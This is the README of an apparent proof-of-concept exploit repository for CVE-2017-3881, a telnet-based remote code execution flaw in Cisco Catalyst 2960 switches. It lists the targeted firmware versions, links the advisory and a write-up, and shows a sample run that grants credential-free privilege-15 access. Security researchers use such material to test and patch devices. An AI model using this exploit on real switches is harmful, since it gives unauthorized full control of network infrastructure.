
CVE-2017-3881 Cisco Catalyst リモートコード実行 PoC
===================
このリポジトリには、Cisco Systems が2017年3月17日に公開したリモートコード実行の脆弱性を悪用するための Proof-Of-Concept コードが含まれています - https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170317-cmp
エクスプロイトの解説はこちら - https://artkond.com/2017/04/10/cisco-catalyst-remote-code-execution/
RCE エクスプロイトコードは Cisco Catalyst 2960 スイッチモデル向けです。このエクスプロイトはファームウェアに依存します。サポートされているファームウェアバージョンは2つです:
12.2(55)SE1 C2960-LANBASEK9-M
12.2(55)SE11 C2960-LANBASEK9-M
サービス拒否コードは metasploit の ruby モジュールとして利用できます。これは Cisco アドバイザリに記載されているほとんどのスイッチで動作するはずです(確認が必要です)。
$ python c2960-lanbasek9-m-12.2.55.se11 192.168.88.10 --set
[+] Connection OK
[+] Recieved bytes from telnet service: '\xff\xfb\x01\xff\xfb\x03\xff\xfd\x18\xff\xfd\x1f'
[+] Sending cluster option
[+] Setting credless privilege 15 authentication
[+] All done
$ telnet 192.168.88.10
Trying 192.168.88.10...
Connected to 192.168.88.10.
Escape character is '^]'.
catalyst1#show priv
Current privilege level is 15
Artem Kondratenko https://twitter.com/artkond